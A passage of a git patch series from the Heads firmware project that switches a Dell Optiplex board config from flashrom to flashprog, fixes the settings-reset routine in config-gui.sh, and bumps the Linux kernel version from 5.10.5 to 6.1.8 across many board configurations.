b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index 3729eeadf..2e62094e2 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -24,7 +24,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -81,7 +81,7 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 maximized (TXT enabled)" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs From 4e22b503bac90b190056c12d5edeec66cae36389 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 28 Oct 2024 16:24:35 -0400 Subject: [PATCH 287/619] config-gui.sh: fix bug happening when clearing all user config settings/calling config-gui.sh from recovery shell Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 730a2a38e..7f8142e69 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -182,19 +182,21 @@ while true; do \n\nDo you want to proceed?" 0 80) then read_rom /tmp/config-gui.rom # clear local keyring - rm /.gnupg/* | true + rm -rf /.gnupg/* || true + # clear /boot signatures/checksums + detect_boot_device mount -o remount,rw /boot - rm /boot/kexec* | true + rm -f /boot/kexec* || true mount -o remount,ro /boot + # clear GPG keys and user settings for i in `cbfs.sh -o /tmp/config-gui.rom -l | grep -e "heads/"`; do cbfs.sh -o /tmp/config-gui.rom -d $i done # flash cleared ROM - - /bin/flash.sh -c /tmp/config-gui.rom + # reset TPM if present if [ "$CONFIG_TPM" = "y" ]; then /bin/tpm-reset From 853541c6a9f41eef01c7af5a21e668eb67e2bb55 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Oct 2024 07:26:46 -0400 Subject: [PATCH 288/619] most boards: bump kernel version from 5.10.5 to 6.1.8 Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 +- .../UNMAINTAINED_kgpe-d16_server.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 +- boards/librem_l1um/librem_l1um.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 +- .../UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config | 2 +- .../UNMAINTAINED_t430-hotp-legacy.config | 2 +- .../UNMAINTAINED_t430-legacy-flash.config | 2 +- .../UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config | 2 +- .../UNMAINTAINED_t520-hotp-maximized.config | 2 +- .../UNMAINTAINED_t520-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-hotp-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config | 2 +- .../UNMAINTAINED_x230-hotp-legacy.config | 2 +- .../UNMAINTAINED_x230-legacy-flash.config | 2 +- .../UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config | 2 +- 48 files changed, 48 insertions(+), 48 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 3a847c260..cc998fd3b 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -19,7 +19,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server-whiptail.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server-whiptail.config diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 5f363add8..cd34fde4a 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -17,7 +17,7 @@ # - Please support https://github.com/osresearch/heads/issues/719 export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server.config diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index 235d579ab..fcea9b854 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -13,7 +13,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation-usb_keyboard.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index e927edabc..146239698 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -17,7 +17,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index ed8dc1765..5684ebe00 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.11 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 export CONFIG_PURISM_BLOBS=y CONFIG_CRYPTSETUP2=y diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 665cb0e45..d24ff7ab2 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -6,7 +6,7 @@ # the VM. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 81558e823..7e07c23a1 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 21750ddcf..fc397409a 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -5,7 +5,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index 94881db3b..e67dc951e 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 68f0acf09..e47260ce6 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -6,7 +6,7 @@ # the VM. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index c700478cb..d47a783a4 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index 6574dc3ec..b9fba2971 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -5,7 +5,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 019521225..a6ac751a8 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -4,7 +4,7 @@ # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config CONFIG_LINUX_CONFIG=config/linux-qemu.config diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index dbdeda6a0..9975550f6 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -10,7 +10,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 2bd5aaaa6..39475d881 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 1861c64cb..d9961116d 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 0a804940a..188048bf7 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 22aeb9c6a..260f320fc 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -5,7 +5,7 @@ CONFIG_LINUX_CONFIG=config/linux-t440p.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index f237b3dbd..213547f96 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 84acd68ca..4449e2d89 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 425989a95..7d7a1826d 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -9,7 +9,7 @@ # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 26c88bb63..e9bb59df2 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -9,7 +9,7 @@ # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 881beae0f..046a872a7 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -5,7 +5,7 @@ CONFIG_LINUX_CONFIG=config/linux-w541.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 33637c7d5..1a7770869 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -10,7 +10,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index c752635c7..552657852 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -10,7 +10,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 853118fbd..1bb65c315 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -20,7 +20,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 50042591c..f4e859835 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 74171f221..a6dd87276 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -10,7 +10,7 @@ # USB Keyboard support export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index ce7a66e1b..feda20a99 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -20,7 +20,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 6c2706898..7b5b4a01a 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index 35f389015..41cb99272 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -26,7 +26,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-z220-cmt.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y diff --git a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config index 6a671c7db..458e978a0 100644 --- a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config @@ -40,7 +40,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-p8z77-m_pro-tpm1.config export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y 